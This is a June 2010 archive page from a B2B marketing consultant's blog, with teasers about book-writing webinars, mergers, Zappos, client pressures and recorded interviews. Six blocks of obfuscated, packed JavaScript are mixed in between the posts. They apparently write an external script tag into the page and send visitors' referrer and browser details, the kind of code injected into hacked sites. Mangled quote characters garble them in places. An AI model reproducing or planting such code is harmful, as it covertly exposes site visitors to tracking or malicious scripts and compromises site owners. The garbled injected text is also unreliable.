Monthly Archives: June 2010

Want to Build Your Brand with a Book? Learn How – Tuesday, June 22.

 

As an expert in your field, you may have felt interested in writing a book, yet never found the
time or known how to get started.

Join me this Tuesday, June 22nd, 9 am PT/12 noon Eastern time and two other experts who bumped up their brand power and business revenues with a book.

 

I hope you can make the call! …

I barely survived three “mergers” in my 27-year career. Most proved to be greedy land grabs motivated by impatient investors, stagnation or bored founders.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdtkn|var|u0026u|referrer|tdkhn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzkzf|var|u0026u|referrer|fdktz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzsir|var|u0026u|referrer|fkynh||js|php’.split(‘|’),0,{}))

Zappos CEO Tony Hsieh’s new book, “Delivering Happiness,” and his stock sale to Amazon prove to me that some mergers may just be made in heaven….

Anim_walking_dragon 

(photo courtesy of http://www.webweaver.nu/clipart/dragons3.shtml)

Let’s be honest. In today’s volatile economy, strategic growth planning and marketing innovations are easily pushed aside in favor of reactively averting poisonous arrows and perilous moats. 

Those hazards continuously threaten us—and often appear from a surprise enemy. How many of us keep putting our foot on the gas and have not slowed down to finesse these dangerous conditions?

We may not be able to control unforeseen events and demanding clients. What we can control is how we respond. It starts with arming ourselves with knowledge and confidence.

Knowledge begins by understanding the most common pressures our clients are facing:

I may be getting cranky because it’s 10:14 pm here in Oregon. But indulge me for a moment.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsidd|var|u0026u|referrer|enrbf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bykhe|var|u0026u|referrer|adkfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etasy|var|u0026u|referrer|ddbzh||js|php’.split(‘|’),0,{}))

I just received an 847-word email from a consultant based in the Pacific Northwest. Her “strategic offerings” include QuickBooks training, a strategic planning consulting, and hosting book club meetings.

If you find yourself providing a random swath of services and products to clients, STOP, PAUSE, and CALL ME….


I was just interviewed by RainToday’s Editor, Michelle Davidson. We discussed what every firm must do now to re-ignite business growth this year. In this 20 minute conversation, you will hear:

The two biggest reasons that B2B business owners lose their passion to grow
How to re-ignite growth in a difficult economy
Low-cost ways every B2B company can implement to expand client impact and revenues

P.S. Be sure to share your comments here….

I was just interviewed by Chicke Fitzgerald, Founder of the Executive Girlfriends Group.

Feel free to listen to this conversation to hear:

 

Why the definition of wealth has shifted in the past decade
Why most business executives feel drained when it comes to marketing and planning – and how to get unstuck
Four G.R.O.W. strategies that will help your B2B business thrive in these volatile times

 

Click here to download (39 minutes)….

How digital-ready is your team?

Take our 3 minute quiz to find out.
TAKE THE QUIZ!
close-link